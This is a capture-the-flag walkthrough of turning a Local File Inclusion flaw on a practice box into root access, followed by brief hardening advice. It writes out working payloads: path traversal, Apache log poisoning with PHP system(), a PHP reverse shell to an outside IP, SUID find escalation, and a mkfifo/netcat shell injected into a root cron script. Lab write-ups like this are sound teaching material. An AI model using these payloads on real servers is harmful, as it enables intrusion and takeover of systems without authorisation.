The error message blinked innocently: Warning: include(../uploads/user_notes.txt): failed to open stream. That The /../ The sequence triggered my hacker senses. "What if," I wondered, "I could make it open anything?" Twenty minutes later, I owned the server. Here's how I exploited Local File Inclusion (LFI) to gain shell access in a recent CTF challenge.

Disclaimer: This walkthrough uses a deliberately vulnerable CTF box (VulnServer 3.2). Never test on unauthorized systems.

Stage 1: Discovering the Vulnerability

Target URL: https://ctf-server/view.php?note=user_notes.txt Suspicious Parameter: note

Step 1: Basic Path Traversal Test

GET /view.php?note=../../../../etc/passwd HTTP/1.1

Response:

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
# ... system users listed!

Goldmine! The server wasn't sanitizing input.

Stage 2: Enabling Remote Code Execution

LFI alone can't execute code. We need to combine it with other techniques:

Step 2: Log Poisoning via User-Agent

  1. Poison Apache logs with PHP code:
curl -A "<?php system(\$_GET['cmd']); ?>" \  
https://ctf-server/view.php?note=user_notes.txt

2. Confirm poisoning:

GET /view.php?note=../../../../var/log/apache2/access.log HTTP/1.1

Response Excerpt:

10.0.2.4 - - [23/Aug/2024:14:33:12] "GET /view.php HTTP/1.1" 200 452  
"<?php system($_GET['cmd']); ?>"

Stage 3: Gaining Initial Foothold

Step 3: Execute Commands via Poisoned Logs

GET /view.php?note=../../../../var/log/apache2/access.log&cmd=id HTTP/1.1

Response:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have command execution!

Step 4: Fetch a Reverse Shell

  1. Start listener:
nc -nvlp 4444

2. Trigger reverse shell:

GET /view.php?note=../../../../var/log/apache2/access.log&cmd=php+-r+'$sock%3dfsockopen("10.0.0.12",4444)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b' HTTP/1.1

Shell Access:

$ nc -nvlp 4444  
Connection received!  
/bin/sh: 0: can't access tty; job control turned off  
$ whoami  
www-data

Stage 4: Privilege Escalation

Step 5: Explore the System

$ find / -perm -4000 -type f 2>/dev/null  
/usr/bin/find  
/usr/bin/python3.8  
# ... SUID binaries!  

$ cat /etc/crontab  
*/5 * * * * root /opt/backups/compress_logs.sh  

Step 6: Exploit SUID Binary

$ /usr/bin/find . -exec /bin/sh -p \; -quit  
# whoami  
root

Alternative method via cron job:

$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.12 5555 >/tmp/f" > /opt/backups/compress_logs.sh  
# Wait 5 minutes for cron to execute

Stage 5: Capturing the Flag

# cd /root  
# ls  
flag.txt  scripts  
# cat flag.txt  
CTF{LFI_2_RCE_MASTERCLASS_2024}

Total Time: 37 minutes Key Vulnerabilities Exploited:

  1. Unsanitized user input (LFI)
  2. World-readable Apache logs
  3. SUID misconfiguration
  4. Weak cron job permissions

How to Prevent This Attack

  1. Sanitize User Input
$allowed = ['notes.txt','tasks.txt'];  
if(!in_array($_GET['note'], $allowed)) { die("Invalid file!"); }  

2. Log Safeguards

  • Store logs outside web root
  • Set strict permissions: chmod 640 /var/log/apache2

3. SUID Hardening

find / -type f -perm /4000 -exec chmod u-s {} \;  # Remove unnecessary SUID  

4. Cron Job Restrictions

  • Avoid root cron jobs
  • Use absolute paths in scripts

"LFI is a gateway drug to full compromise. Never trust user-controlled file paths." My penetration testing journal after 3 real-world findings

Want the Vulnerable Lab Setup? Follow me for "Building a Safe Home Hacking Lab: Step-by-Step Guide"